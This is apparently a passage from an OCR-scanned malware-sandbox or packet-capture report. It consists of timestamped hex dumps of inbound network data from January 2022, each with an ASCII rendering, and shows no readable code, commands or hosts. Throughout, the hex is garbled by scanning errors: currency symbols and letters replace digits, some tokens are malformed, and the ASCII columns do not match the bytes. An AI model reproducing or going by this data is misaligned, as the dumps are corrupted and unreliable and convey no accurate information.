15 ¢6 31 4c de 96 cc 33 ef 5b 77 4d d2 e0 91 Oa 78 c8 5d b9 25 14 b3 be d7 17 7c 5b 8e 06 ef 43 ed 67 54 b7 d2 ec c3 98
76 a9 2e cl 25 9b f4 4a 32 10 51 b9 94 15 38 e6 f9 8a f0 fe de f3 89 b2 67 58 a7 d5 07 2b 82 96 66 98 c8 3d cb 01 31 ba
36 07 31 28 d9 65 eb e2 c6 66 2c el 9e 64 d5 02 f6 04 f5 82 3a 2c 37 76 b2 31 27 3b d2 85 ce 3a da 84 55 df df 63 b7 6e
€2 20 f9 2d 38 9c 6a f6 al 89 db 05 33 2d 3d 5 c5 56
Data Ascii: n3B3T$l_@\PJI'F:A@:!Dr=5'4aSPj.R/IMO#{V\%ta TrMoWo_/1L3[wMx]%|[CgTv.%J2Q8gX+f=161(ef,d:,7
v1';:Ucn -8j3-=V

2022-01-13 19:22:18 UTC 100 IN Data Raw: ¢8 38 55 39 fa 8e 1d Oe a4 16 3a 4d d1 f2 dc 30 ae 57 7b 94 46 ac 8d f8 31 00 e2 fe 2c 1f Oa bf 5d 64 64 42 3e
d7 dd 49 40 75 75 ec d9 Od ee aa 27 eb 7f 27 80 40 47 2f 99 ff 30 d3 Oe 94 74 ef 7c 74 8a 9c 45 28 a0 13 4a b5 cf 06 ef ca
dd db 15 da 97 eb 91 40 f5 19 e7 54 36 7b 2b 87 c0 71 b4 2d 8e 67 13 6a 5a 16 27 fe 86 d8 42 45 9f 88 57 70 ad 75 ca a0
06 17 ¢7 dd ab 60 f0 Oa f5 fd 8d b5 fa 9c 3e 49 eb 2c e3 Ob d1 70 a9 94 07 65 13 c0 db 16 c5 e4 bb 53 56 f8 04 aa 4f 83 23
fd d9 19 ca e9 28 02 a4 05 79 47 5¢ f5 6 8b c9 78 b4 21 91 eb af a5 87 d8 21 b7 dd ff 11 bb f3 e5 28 be df 42 ce 58 96 10
la 1d 26 9b 6e a5 5a eb 45 cd 43 52 e3 1c 67 08 b9 9b dc e6 21 48 65 1d f8 53 53 e2 21 b0 Oe 17 dO dc cc 48 ed 73 ea
76 e2 23 3e 45 03 5b d2 f9 5¢ 1b 80 fc 6f b4 d7
Data Ascii: 8U9:MOW{F1,]ddB>l@uu"@G/Ot|tE(J@T6{+q-gjZ'BEWpu >|,peSVO#(yG\ox!!(BX&nZECRg!HeSS!Hsv#>E[\0

2022-01-13 19:22:18 UTC 101 IN Data Raw: 9b 63 08 ad b0 2a d5 cc ee b5 ba 50 2a 11 1e b2 30 0a €9 24 dd 32 ee 9d 76 8c 57 fc 99 2a 10 5a ec 22 f3 c0
17 ec ad 47 82 b5 8e b2 78 95 52 9¢ 09 97 9¢ 08 59 38 24 ac e7 2c 13 8f €9 8f dc 77 07 cf 48 ¢7 fd 0d 17 d9 01 23 32 23
fd 7f 54 68 b7 6f 4c ea 09 2e 86 9e 96 96 62 28 bc de 18 87 ca 0e 99 36 02 af a8 8d 83 c7 be 02 al 9d e3 09 af fe 5d a5 bz
34 88 ba ba e0 44 6c bf ef 40 23 57 7b c3 4a 4b 52 db d3 aa ee ba d5 78 19 64 84 9c c¢3 5b 78 5d 79 a4 5c ed al 4b 44 16
80 16 73 8e b9 e7 6a 83 03 19 c3 c5 ed 3c 84 ff da 22 26 6¢ 3b 85 47 7d ec 7e a2 0f 95 eb c4 ee b0 b3 79 ec a2 08 b0 98
a0 Ob 66 58 6b 32 d5 36 39 39 4e d8 25 46 cd al a8 03 b8 4b 5e 6d 52 d4 51 d4 ea 01 34 6b 64 24 88 46 dd 1d 7b b6 44
97 99 e4 97 60 74 a3 8b c4 7e 5e 80 53 81 5f ce 87 45 {8
Data Ascii: c*P*0$2vW*Z"GXRY8%$,wH#2#ThoL .b(6]4DI@#W{IKRxd[x]y\KDsj<"&I;G}~yfXk2699N%FK mRQ4kd$F{D t~
"S_E

2022-01-13 19:22:18 UTC 102 IN Data Raw: 64 58 5d ea 43 50 30 af 6e 26 bc 20 c1 fc bd 8f 03 ee 05 85 72 14 94 d1 b7 0f 39 41 53 9b 1c bb a0 ed da 66

55 dd d5 cb d4 1f 05 fa e9 fd 63 ee 47 f8 93 54 28 af 5b 9d 67 d6 3e e6 4d e6 49 ab 7c 04 91 08 5e 13 64 47 ab 9d 37 17
69 f3 03 cd 58 08 5f 91 55 bb aa 07 d9 f8 a0 el c5 b6 Oe 6 a6 f8 a2 d7 bf 78 05 81 7e 4f 83 23 d9 bb ad 4c 7f 0a 53 69 fa
bc 7a 0d 10 fe 5¢ 1f 59 d9 ea 7b 80 5e 44 d8 29 32 d9 ed 2c ed d7 e6 4e 19 68 94 82 f7 23 05 ec 5c ea 40 d2 1f 0d 18 e6
b8 d9 bb fd 3c b8 e7 79 5a 3b 2c eb b5 20 93 e0 89 c2 d4 be dd b3 fc 2e 87 0a 14 db 18 c3 el 13 72 14 6¢ 99 f8 92 ae 22
71 b2 28 e7 89 35 fe ec b7 bc 36 0 36 5d 61 b6 22 69 ff 4d 96 6d 2c €9 98 9e 7d ad 13 d3 00 7e cd 12 88 f9 ac 2b 92 78
af d7 cd 8a 5f 04 66 63 1le 76 ad a7 8f €9 09 3f 98 ab

Data Ascii: dX]JCPOn& r9ASTUCGT([g>MI|*dG7iX_Ux~O#LSiz\Y{"D)2, Nh#A@<yZ;, .rI"q(566]a"iMm,}~+x_fcv?

2022-01-13 19:22:18 UTC 104 IN Data Raw: f7 47 43 b6 d2 24 0d 54 98 7d 5c ef c6 c8 €0 82 ab 6e 80 d6 60 ea 18 81 9f e7 bf 37 de 06 01 22 12 ee 52 a6
bd fe 58 81 8¢ 5a bf 51 58 c0 48 2c 1a ¢5 64 c6 Oe 92 59 Ob 48 3a 44 ad bb f0 ab c3 2a 71 80 1f 90 c2 6e 84 0d aa 31 14
3f b7 b4 91 1f f0 31 a0 5b df ac 27 58 93 ff 48 ad 1d e4 13 15 d7 db e7 2e 8c 5¢ a7 98 al 37 b2 65 1b bd 4a 8f 5a 09 40 76
c1 b8 3 8f 8a 08 16 ec c1 06 al 62 9f 93 51 13 d4 1d 95 €0 61 53 16 18 39 47 3 7 c1 f4 ae 34 1b 10 7e 5¢ 15 ca ad 23 88
8b a9 25 f9 d5 9c 02 2b d2 f1 0 a3 8¢ 4a 7b 2b d4 ab b8 dc 66 93 b3 9d 9¢ 77 95 3¢ 28 72 34 ff df 17 Le 09 30 0a Oe 99 3
€0 0c 11 64 83 23 c0 9e fc fb ab a2 4f 28 9e eb 26 04 cf 63 94 05 3d b6 97 44 27 1e 00 19 2f 4b 47 27 €2 07 53 5d 67 95
1e 60 87 d7 7 56 8 4e 67 c9 15 c8 3b el bf 46
Data Ascii: GCS$TIN' 7"RXZQXH,dYH:D*qn1?21['XH.\7eJZ@vbQaS9G4~\#%+JI{+fw<(r40d#O(&c=D'/KG'S]g VNg;F

2022-01-13 19:22:18 UTC 105 IN Data Raw: a0 f9 f5 9e 5d d8 fb de c8 43 82 00 69 80 39 d3 89 ea f9 89 7d 5a 81 92 28 93 cd 32 d7 ad 99 86 45 38 8f e3 ff
dc ca ed 31 97 94 01 78 f1 3¢ 29 99 e4 5e f4 df af Oa be de 81 bl d2 3f 56 7a a6 12 5f 7a aa 66 ef 21 e2 67 2f dd 19 c4 c1
4a a6 b4 a9 Ob c9 63 0f b0 62 10 d4 54 e8 a0 Ob d2 4e bd 53 50 4e 59 15 9e 01 be 7b a0 19 d2 {7 ab e4 al ca db le 76 ca
93 4d f2 d6 8b d1 66 e7 77 25 01 24 64 99 62 69 89 dd 07 22 cf a4 9c b5 6a dd 7e Ob 37 e4 d5 da 32 ed ab a6 04 b1 57
83 02 ea a6 b4 f3 35 31 90 66 9d fc 5f 14 32 04 bc 26 al 8e 12 el 84 ed 2b 95 5 ac 58 €8 f4 3d ac 2d 29 31 22 e0 92 63
16 ba 11 ¢3 2e 17 93 9a 7d 21 59 c0 7a a6 06 b3 d0 €9 95 8b d0 f1 a3 e6 3c bc c4 b0 2d 85 d9 c8 ff dd 03 54 70 48 27 ed
36 11 a8 b0 c5 c6 ad ae 3f aa 35 8e f9 aa 86 30 0d 1la
Data Ascii: |Ci9}Z(2E81x<)"?Vz_zflg/lJcbTNSPNY{vMfw%$dbi"j~72W51f_2&+X=-)1"c.}}Yz<-TpH'6?50

2022-01-13 19:22:18 UTC 106 IN Data Raw: 29 8d 74 f6 48 c4 8c b7 bf 48 af 05 73 2a 1a be 1a 78 b3 5e 20 0f 9a 26 27 b1 71 d9 0d 63 dc f5 ee e2 30 9d 23
17 lafe 3b 4a c6 2e 11 a5 f4 20 30 50 3c 8f 80 96 24 69 7f 1c d2 e7 73 28 5e e5 {7 23 el 4b 57 9f 82 9f 6d 15 9e 18 12 5¢
3c 91 el 57 71 39 bf 86 be 19 c¢7 7d 3f b5 a3 89 42 d0 22 3e 36 70 b2 9b 9c 18 52 4a 8f 9c 49 Ob bf 5a 26 42 37 af 02 4c
77 48 dd 0d 9e 29 fc 71 5b 21 f4 Oa al e2 3e Ob 6a 5f ed 5b 62 93 ab Oe 00 ca f1 1c f1 3c 3e 70 45 39 b6 40 99 f6 45 2f de
99 ad a9 f9 89 c7 af 37 a8 0d 6¢ b6 83 01 ch 87 €9 60 7d al e6 6b 6f 43 b5 00 a6 16 44 ab 82 01 cc 96 d2 a3 eb 20 4f f4
57 70 ¢7 2c 13 8b ca 89 97 ec 2a a2 0f d4 53 74 1a b9 bf f4 69 50 88 fb 3¢ 51 28 5a ed 36 7c b8 3c 34 a0 d7 7a Oc 9f d0 8¢
cl 2e f4 02 ad 0f 72 af ca 95 fb 04 c2 ce ec
Data Ascii: JtHHS*x” &'qc0#;J. OP<$is("#KWm\<W(q9}?B">6pRJIZ&B7LwWH)q[!>j_[b<>pEI@E/7I }koCD OWp,*StiP<Q(Z6|
<4z.r
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2022-01-13 19:22:18 UTC 108 IN Data Raw: b9 29 c9 76 f9 dd 1a b8 b0 33 9a 94 b2 30 70 09 9b 11 bb 49 4e bc 8b a5 8f 5e 5b 77 23 43 7f b8 ce 2a 56 01
54 73 b9 b6 36 Oc 51 20 f4 fd d7 95 46 d3 dc 34 ec be c5 5a fd 13 dO f1 26 ee 0f 43 a2 Of c1 16 44 42 31 2 3c 3c 35 Of 6f
90 69 1b e0 e7 b4 eb 9b 99 fe 54 a3 92 10 5b 77 25 a9 dc el b3 09 5b 72 fe 72 ad ae 8d c2 60 2a f9 76 95 b5 d3 33 24 08
ac 0d 55 66 88 35 c8 fb 83 d0 8c 15 ce 69 bb 4a d0 41 79 47 e3 3e 38 21 56 a4 08 58 17 bc cc b7 ca a2 e4 db 14 97 52 c2
cb cb 0f b9 2c 4f 59 23 ff a3 ¢7 7b 75 8c 5e €0 21 24 19 40 da 89 d4 48 43 b7 a6 8e 2f 8d 0d €9 78 dd 40 3b f2 5¢ e3 ea 23
ee b9 7 09 31 fb 7f 27 4c be cb 73 55 11 a0 Oa 08 25 8 43 53 9f 3 b4 74 ba 7f ec f2 31 db 07 79 27 f7 b3 3d b2 3b 05 eb
3d d7 ae b6 ea db 13 c0 af d0 9e 1c 33 3f a7 95
Data Ascii: )v30pINAw#C*VTs6Q FAZ&CDB1<<50iT[wd%([rr *v3$Uf5iJAyG>8IVXR, O YHUNS@HC/X@;\#1'LsU%CSt1y'
==3?

2022-01-13 19:22:18 UTC 109 IN Data Raw: 60 87 76 14 f4 41 b9 48 df 0f 39 b4 25 41 60 9b 4a 10 29 31 93 e8 a6 11 64 3c 03 28 14 42 92 fd 1c 65 Ob cb Of
ba de a2 02 a4 Oc af 6a e8 1f 30 71 cf 46 dc 88 4e 4f cf 82 43 b6 37 c4 79 8a c9 6d 12 5b Oe e7 bl fO b8 37 a0 75 51 50
9c 6 c0 c7 8e ac 4a 63 b3 el 0a a8 00 4b 97 8d 59 be d6 9b fO d3 66 de 9f 81 c6 4e 48 85 ce f9 c6 72 06 ee bd 57 7f aa
52 bc 60 14 e0 0a 09 43 ac 28 Oe 27 82 38 27 3a 15 c5 5¢ 84 ec d8 81 a3 3c 45 e0 24 4d 58 e6 b6 49 d4 12 41 de e9 51 fd
94 6e 3c 60 e6 a2 40 cc eb 38 9a b4 c8 4c 1a 3b d2 5e 14 05 3e 26 7a c6 bb 57 ¢7 65 1c 7e 5¢ 3d cc a7 c9 f1 01 72 76 05
c3 08 a5 87 d4 bb f6 36 5a ea 00 Oc 64 89 cb 7e db a6 fO b9 34 75 57 c6 40 e4 aa 32 1d 88 34 65 7e ae 73 0f d6 86 f0 24
3c 30 1f f9 3f 7e 46 2d 44 ca 91 84 36 1a 78 a9 82 58
Data Ascii: "VAH9%A"J)1d<(BejogFNOC7ym[7uQPJcKYfNHIWR C('8":\<E$MXIAQn<'@8L;">&zWe~\=rv6Zd
~4uW@24e~s$<0?~F-D6xX

2022-01-13 19:22:18 UTC 110 IN Data Raw: 24 16 38 3d 4a ae 30 Oe fc 9d e6 4d b2 75 50 ca f8 1a 08 02 5f 09 3c 48 37 e0 99 fd d7 b0 92 08 bf 03 4b 1e db
68 97 f2 24 6b ad 2a 07 2d 67 c0 b6 6d 24 77 2d 97 66 15 fc 44 36 Ob b5 c7 78 c2 c¢6 dd 17 7b 35 3e 8c 42 43 2e 67 26 Oe
el fe 4c 84 ¢7 77 2c 09 a0 b6 5d 1d 90 ce aa 30 c8 Oe 90 62 94 64 8c 47 5f 63 cb 87 e6 d5 7a bf 4c 42 7¢c 95 51 03 04 1e
3a 0a 15 9a 45 e5 6e bd 52 92 5a f7 c6 31 4d 30 al 4d 33 79 2f 88 49 5a 47 08 bd af ef 50 a3 7d ff d4 ef 3f 14 2e 66 fe 03
34 b3 52 cf 1e 33 ee d5 Oa ac 9a 55 6¢ 97 4c 18 38 ¢3 Oc 40 56 5¢ 61 60 f4 44 ac ad de 78 e8 d3 Ob 30 33 89 dd 0Oa 5f f9
bd c9 1c 85 03 35 93 fe ee 22 4a d2 e3 10 Oa 4e 76 c5 24 2f 8c 3c 60 e7 b9 f5 dc f6 e0 75 0a b8 22 77 48 a3 e9 be 78 a3
6 34 7e d2 52 91 ec 77 92 67 05 de 30 1d e9 36 27
Data Ascii: $8=J0MuP_<H7Kh$k*-gm$w-fD6x{5>BC.g&Lw,]0bdG_czLB|Q:EnRZ1IMOM3y/IZGP}?.f4R3UIL8@V\a'Dx03_5
"INV$/< u"wHx4~Rwg06'

2022-01-13 19:22:18 UTC 112 IN Data Raw: 2¢ 49 53 e7 36 db e6 2a 0d ca e8 fe 42 6b 1a a9 22 cd 36 19 9b ec fa cb 99 40 31 be df Oe 5a 43 09 18 5e f1 33
7 62 27 a8 0a b3 al f2 2e 16 fc 70 be c1 ¢5 c0 fd cb 79 3e 50 c3 ae 26 64 97 21 ab b9 50 c¢5 17 88 1b 07 66 16 fd 36 39
ae 3d be d8 b3 93 ec ba 66 1e 53 40 39 a9 7d el aa 49 29 54 ee a3 81 ce €3 16 09 47 00 b2 7e 5f b9 af 8a 4d 58 ec a9
48 e9 38 26 05 e3 d8 3a e6 dc fc c2 74 9f 86 5f 76 ca e7 03 21 ec b0 86 f4 fd e4 b6 2e 1e 8b 1f fb bc dc 6b 1f €9 33 39 1a
6f 15 da 99 88 5e 27 f2 44 27 14 9e 6b f5 7f d3 73 5b €3 b2 2e Ob ¢3 55 09 9c bf 77 2d 87 c2 bc d0 5d 6d 08 bb €5 86 bc
7 df Ob c5 b5 6f 15 aa 21 62 8f 6 bf 0a ac 73 56 79 ae 17 dc 84 41 d3 12 57 0a 84 45 48 57 95 9f da 8a d5 77 22 72 4b
8e 01 29 5e 87 70 12 6e 8¢ 55 61 23 86 59 39 ae 35 94
Data Ascii: ,IS6*BK"6@1ZC"3b'.py>P&d!Pf69=fS@9}I) TG~_MXH8&:t_v!.k390"'D'ks[.Uw-]mo!bsVYyAWEHWwW"rK) pn
Ua#Y95

2022-01-13 19:22:18 UTC 113 IN Data Raw: 22 96 67 ab 47 50 db Oc 57 ¢7 71 20 71 21 b2 44 5f 9a €9 48 c4 da 9c 6¢ 35 3f a7 83 da 97 86 47 4e d1 75 30
fd 1c 19 91 bc 9b 08 14 18 57 38 3d e4 99 8c ed 4c cc be fe 58 f0 57 a4 08 c7 d5 bb 28 7b 3c 61 81 db 0a 57 bd 22 c7 a9
de €9 80 3d 09 8f ee d1 Oe 56 da cO 9f 4e d2 f7 d6 9f c7 c7 45 Of 13 70 d1 b8 61 86 25 3d 9a 08 1b e5 97 e4 e5 3a 31 9b
91 a7 2f 37 4f 84 1d O c1 46 ac 38 22 7d c5 60 a7 87 de 80 41 4b 8d 87 47 e2 36 Of c4 d4 9f 51 e0 93 7 d7 17 da 13 3b
b2 a3 73 2b 12 a6 13 07 d4 22 cd 7d 2f 82 Oe eb a3 3c 2f 8d f2 59 5a ff ¢3 49 eb 76 dd 56 eb 75 d5 d9 e2 05 3d be cb 08
c6 cf ed b5 b1 ba 67 b2 56 bc c2 40 c5 40 49 da ea 63 62 d0 fa 09 26 3d a2 10 51 2d c4 d9 4b 40 7e ac 5¢ 59 c4 77 30 Oc
47 3f fa 4b 24 6e 3 f5 c5 5¢ 03 f4 10 f9 Oa e7 26 29 2f
Data Ascii: "gGPW(q q!D_HI5?GNuOW8=LXW({<aW"=VNEpa%=:1/70F8"} AKG6Q;s+"}/</YZIVWWu=gV@ @Ich&=Q-
K@~\YWOG?K$n\&)/

2022-01-13 19:22:18 UTC 117 IN Data Raw: Oe Oa 68 a6 00 4e b9 d9 99 ef d9 f9 d2 30 10 52 bb 64 85 d2 54 6a d0 91 20 89 c6 Oe 22 ff 0d ae 88 01 50 a5
56 3e 59 58 f5 95 3a ae 4c 42 dc d8 44 dd f8 17 2f 79 42 d6 4d 5¢ 6e 5b 65 24 ¢3 79 d2 39 3d 76 b6 30 d6 33 7e 3b 52 2e
12 0a f6 65 a3 53 ce 2c 0a e2 cc 49 33 75 88 1f a5 19 74 6e d0 73 75 Oa fa Oa da 95 5¢ b2 ea 30 2c fe 8¢ 89 b5 d5 c6 bc
76 6¢ 6e d8 b5 c2 7e 5¢ ba fc ca 23 21 12 b2 f4 75 8f f6 fc 6¢ 3¢ 89 37 04 17 98 aa 27 b2 24 b6 6a de b7 8d e2 79 5b a2
aaed 88 84 a3 a5 58 f7 65 13 b3 a7 95 6e 76 19 95 ff Of f1 79 3a e8 d8 c0 70 47 2e 85 b2 6a 77 37 18 48 59 09 ea 07 30
6f 3f 96 4a 8f €9 0d 8f f5 3d 32 al 5b 83 91 9e 6a aa 6e 88 52 33 79 aa 35 32 85 06 ee c¢7 d3 31 f5 05 8d 9 ff 35 59 b9 22
73 4b 09 47 33 ec 53 31 fd 5a 8e a5 02 48 d8 1b eb a2
Data Ascii: hNORdT] "PV>YX:LBD/yBM\n[e$y9=v03~;R.eS,13utnsu\0,vin~\#ul<7'$jy[Xenvy:pG.jw7HY00?J=2[jnR3y5215Y"
sKG3S1ZH

2022-01-13 19:22:18 UTC 121 IN Data Raw: ed 48 55 ff ce ec bf 5a 82 33 9c 0b 03 3f a6 b5 59 63 6a 30 be cb 7c b3 bc b0 58 e3 d5 69 1d fd 65 c2 2a b5 7b
92 dc 9d cf 1c c9 ba 85 be a8 69 19 60 36 03 27 51 87 a4 c2 d2 f7 d6 9f c9 fd el 5b bf fc 92 2e 66 26 fc 3b a4 5b 11 b0 5b
6a d2 2a 02 ad 15 0f a9 11 02 fc c7 4a 9b 3a 72 39 54 27 8b 78 b1l 5f 65 60 €3 1e 69 70 5e 3e 79 3d aa 2a le 12 el 8c 54
€6 a9 95 97 20 89 c1 4b 46 dc 90 34 b1 06 bd 5b 66 94 69 13 3 d3 67 a6 58 97 be ba 67 a2 13 dd 1a 75 56 8d e2 de 53
57 69 f0 03 31 f6 e4 3a 25 €9 29 92 09 58 fe d4 ea b2 35 77 ef b7 50 02 3d 43 b9 01 5a 40 fc 10 2b fe 26 69 0a 67 O0a b0
95333 1241 ab a0 Oa e2 31 a9 cd b0 c4 18 19 ae ¢7 97 91 f3 98 11 ac 51 4f 65 ¢3 52 d8 6b dd 61 ff 1a 3d 39 90 2b 56
cd d3 7c 17 b2 aa 21 40 3b d8 15 6f 79 50 b6 6f d7 ef
Data Ascii: HUZ3?Ycj0|Xie*{i'6'Q[.f&[[*J:r9T'x_e ip">y=*T KF4[figXguVSWi1:%)X5wP=CZ@+&ig3A1QOeRka=
9+V|!@;0yPo

2022-01-13 19:22:18 UTC 122 IN Data Raw: 7f bc 26 a0 6d e9 26 2a 84 d1 ce ec a4 19 d5 01 3e 16 72 a2 0d 54 Ob d3 6b 69 b8 a4 19 dc 92 79 56 93 ff ee
6¢ 9f 88 ef f1 40 8f ca ab fO 5¢c ae 43 f1 78 cd 2c la cf ¢9 7f ¢3 43 ab d2 ab al fd b7 a3 88 f9 ce 40 eb 4e 33 92 26 9a €9 91
93 45 a6 6b 79 98 ea 3d ab a5 8f 95 69 bl c8 e3 04 bd 29 62 22 96 76 bl ae 43 08 7c c5 39 f4 59 99 e6 a8 09 cb a4 78 5f
b5 e7 48 ae 6¢ 92 20 b9 5d 69 ad 62 fd 2b 8a e8 29 9f 86 5a f5 da e4 11 76 al 84 42 90 bd 0d 84 13 71 1e 3b 67 55 38 ff
€27 73 29 ce 63 25 bf 91 b6 64 73 €9 7a 1f c6 87 1a 25 db a5 cf 08 18 42 8e 79 11 cf 68 96 1b a4 45 3d 76 b2 f3 c6 0d
1b fd df f5 46 a7 6a a2 40 c2 b1 13 be 13 7a a2 76 3b 71 4c bb 48 c0 18 e5 e2 ee b4 d7 15 08 00 72 de 93 09 37 eb d0 04
6¢ 9551 90 7f da 06 88 ec 73 4e 16 b6 24 c9 7d 6d
Data Ascii: &m&*>rTkiyVI@\Cx,C @N3&Eky=i)b"vC|9Yx_HlI Jib+)ZvBq;gU8s)c%dsz%ByhE=VFj@zv;qLHr7IQsN$}m

2022-01-13 19:22:18 UTC 126 IN Data Raw: 15 8b a7 fc 44 6¢ 8f fa 5¢ 19 07 d8 2b 62 ba bf fb 1e 79 4d 54 d6 56 f9 c2 7c 96 c6 01 51 be f6 39 1c a7 8b c5
50 4a ae fe f3 27 9b 84 31 83 3f 7f ce fe ee 73 4d 1d a5 4e da 96 6b 16 1f 79 11 90 a2 le db fd a8 a2 91 6a Ob 33 4b c8 16
9c 63 a8 11 7d 3a 71 4e 47 04 cd Ob 31 48 83 99 ec e7 55 f1 d3 b7 df 78 73 ce ea da fa 3e 50 la df 1b 55 d6 f3 cc 2b 6¢
ba 98 6b 55 64 53 €3 34 51 44 69 14 9f 30 23 ac 2d dc 8b 12 f3 f5 89 d8 cb 6¢ 48 25 d3 84 56 b4 2d 41 5b 53 16 56 a6 12
Oa 2e el 11 64 60 2f 3b 11 11 5e 40 e2 3b 4c 07 a7 27 29 16 ee 76 34 f2 89 46 21 cd 26 d8 6b 3a 85 26 5f 71 8 Oa af a0
86 8a 1c 70 f6 3d 31 f8 d3 06 d9 ce 1d 43 b1 16 ba 6e 0f 22 d6 14 b9 d9 98 96 df bf al 16 fd 66 25 6d f6 8a 1d 4c 69 d4 50
6d c4 d8 03 8a 4b 49 ec ea c4 9f 8¢ 17 d1 d4 42
Data Ascii: DI\+byMTV|Q9PJ'1?sMNkyj3Kc}:gNG1HUxs>PU+kUdS4QDi0#-IH%V-A[SV.d /;,2@;L")\v4F!&k:&_gp=1Cn"
f%mLiPmKIB
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:18 UTC 131 IN Data Raw: al 2f 2e 06 a0 01 3e 4e 8f 76 3e 3f a3 90 74 ad e3 8b db 1c 36 02 a7 86 50 71 82 23 el 06 b2 63 07 5b ae c6
bf 4d 54 e8 b1 ad 16 cd 74 b0 7d d8 2c 69 c7 25 fO dd c5 e7 f8 5e e2 77 ba c1 4b d1 ce 3d e6 d9 68 88 7d f7 d1 6a ca e7
7fc9c5c9 60 ee a7 9a 17 90 78 dd 8b c7 7c 24 ed 30 1c 73 27 8f 04 03 44 39 b6 2a 6¢ 8f 10 9c Oc 4c 77 89 b3 b7 bl al
36 db b7 d6 8b 66 14 5e f7 9b e7 bc a4 d8 53 e8 b2 53 54 fc 5b 36 72 39 4f 27 fe 4b 5b 1e 76 fb 03 20 6e 06 21 8f ee a2
13 al 2a 45 2e 74 bd fb 4e df 19 6d c1 25 65 02 03 f1 46 7e 59 7d 2d 89 5e 24 37 07 2e 02 b5 df b3 5d 16 48 da 99 6f aa
50 d3 74 bc 61 9b 9b ff dd 04 fb 44 8b ad aa 28 Oe e0 71 51 49 49 49 da 33 fb db 02 b0 53 8b 3c 5f 68 9e 09 20 6b be 5a
e8 a6 bb fa 2e 68 28 9d e6 a9 8b c8 89 8c 42 {6 4e d9 1d
Data Ascii: /.>Nv>?t6Pg#c[MTt},i% wK=h}j x|$0s'DI*ILW6f*SST[6r90'K[v n!*E.tNm%eF~Y}-"$7.]HoPtaD(qQIII3S<_h kZ.
h(BN

2022-01-13 19:22:18 UTC 135 IN Data Raw: e6 65 6¢ fc 43 2d 3e 34 08 1d c3 b9 8d 04 5e da e4 14 77 25 f5 dd 83 7e cd 3e c1 3e 37 5a 69 01 28 7b 7d 2f
c6 d6 eb 49 4b 68 06 b7 b5 fd 37 3c b8 d8 8e 77 32 4c da f0 11 76 c8 24 9e €9 20 61 6d 07 26 a4 b3 ab a6 bl 2f 2¢ 17 d7
11 9a 76 cd 6e 7a 1e 6¢ 99 1a 88 e5 3e 22 63 6f 7b 24 94 86 5¢ ed ad 81 79 ea 22 96 5¢ 93 5b ¢4 db 0d d9 59 95 57 26 cO
95 fc 1b e3 69 68 84 aa ad bb 59 27 31 b5 8a 2b cb 66 c4 db 66 €9 8e de €6 bf 11 4d 5b 72 e9 e3 fa b7 9f db 05 67 13 b3
d1 dc 36 63 03 6d e7 20 75 c8 3b 46 7a 5a ec 1c 96 fe 16 b6 8d 05 29 8e 3d 18 el ad d1 6b 4d d3 d4 43 d1 6f 46 3b 47 fb
a7 95 aa df f4 f2 2e 09 70 59 84 ab c5 55 24 03 9b 4a a4 09 66 e4 1c de f5 c0 9a 07 98 aa 7d 4f 14 09 3 cO d4 e5 2e 4c
4567 53 9d cd 29 08 63 43 2b a2 43 73 28 €9 be 73 f7 95
Data Ascii: elC->4"w%~>>7Zi({}/IKh7<w2Lv$ am&/,vnzI>"co{$\y"\[YW&ihY'1+ffM[rg6cm u;FzZ)=kMCoF;G.pYU$Jf}O.LEQS)
cC+Cs(s

2022-01-13 19:22:18 UTC 139 IN Data Raw: 27 14 57 6f b6 de 07 4e 90 71 1f 7e b0 23 ab ba eb da 98 6b b6 37 4¢c 17 a1 92 7d 24 30 b1 dO fd 9c 06 13 3a
e94ca99adldl 72a37262e7c9 adfdab 0f 2e 73 b0 77 3b d9 71 41 bb 58 fd d7 02 ce eb ae 97 fc 5f ca 27 95 ef f5 54
56 94 ¢4 92 0a 01 f9 fd c6 8a dc 8a 55 f5 5¢ f7 ¢7 7d 25 6d 77 39 dd c8 86 €9 62 38 14 14 34 09 f3 c1 46 db 16 10 34 d4
9b f1 37 a4 56 76 de 22 9d 68 4b 08 8f 41 af ad a6 be 73 34 89 8a 3f 25 1a 65 6e 97 fa 2d d6 e4 a6 7c 00 ba c2 72 3a 3f
da 98 66 27 21 da 9c 58 f1 96 9b d5 02 3e 3d 4d 3b be 2e b1 b5 b2 a4 a2 7d 69 18 16 34 70 43 78 bc a6 b2 fa 31 ff d6 99
f1 e7 46 da 8c bd 8c a0 54 ae fc 5f 77 31 8e 30 bc ef 6f d0 5a f3 72 ¢4 61 88 71 55 c4 de 21 f7 97 8b c6 da ee 44 34 4c d7
01 2f 8f 4c 76 3b b3 aa 2d 02 70 ce 91 79 7d 39 08
Data Ascii: "WoNg~#k7L}$0:Lrrb.sw;gAX_TVU\}%mw9b84F47VVv"hKAs4?%en-|r: ?f1X>=M;.}i4pCx1FT_wl10o0ZraqU!
DAL/Lv;-py}9

2022-01-13 19:22:18 UTC 143 IN Data Raw: 99 43 a5 63 5e 04 bc 67 d3 1f 54 65 02 aa 2e 50 37 27 99 40 4e d5 7f c2 b4 49 ec e9 41 73 24 76 b3 ac 6 53
43 af ab 7b 33 95 €9 29 29 38 20 al 39 ac 29 91 f5 da 53 ¢9 61 15 cc 22 ¢6 d3 2b 95 f8 52 4b 20 7a 55 79 7f b5 76 34 07
4b 4d 55 de 93 f5 cf 91 e5 5b 3e 79 dd 07 52 92 32 f7 ¢9 10 17 91 Oa b2 44 75 70 4f 51 3c 77 66 35 97 94 22 23 47 58 80
00 f6 a2 12 27 b2 2d 42 a8 10 38 39 b9 27 4c c2 b4 7a 08 Oc 53 20 21 13 30 0d b0 71 3b 35 f8 41 ac 90 d2 f9 aa 7b 23 6f
aa2b 91 1b 55 6a e0 dd 05 a4 92 71 23 7d df 18 32 53 21 37 44 2b 9b e3 11 c2 d7 62 3d a7 9d d6 f4 de 63 04 6b af b8 c3
4ach 6a 5e 45 47 34 14 48 b5 29 64 8f 35 3f bb 37 a5 3e df 6b 57 28 a4 a9 ad ¢3 fd 55 5¢ 67 fb d9 9c 8b b8 4c 94 77 Oa
da 89 d1 cf bc b5 Oe 83 ae c2 24 6f Oc 4c 26 b2 d2 82 78
Data Ascii: Cc"gTe.P7'@NIAs$VSC{3))8 9)Sa"+RK zUyv4KMU[>yR2DupOQ<wf5"#GX'-B89'LzS !0q;5A{#0+Ujg#}2S!
7D+b=ckJJ"EG4H)d5?7>kW(U\gLW$oL&x

2022-01-13 19:22:18 UTC 147 IN Data Raw: ff 6¢ 5 97 fc 33 f9 df 31 c7 73 3e 85 ce ee 55 b1 c6 32 12 52 8¢ 0f 8b 75 0d 9a a2 ba Of 89 2d 18 1f 8e cf 16 c1
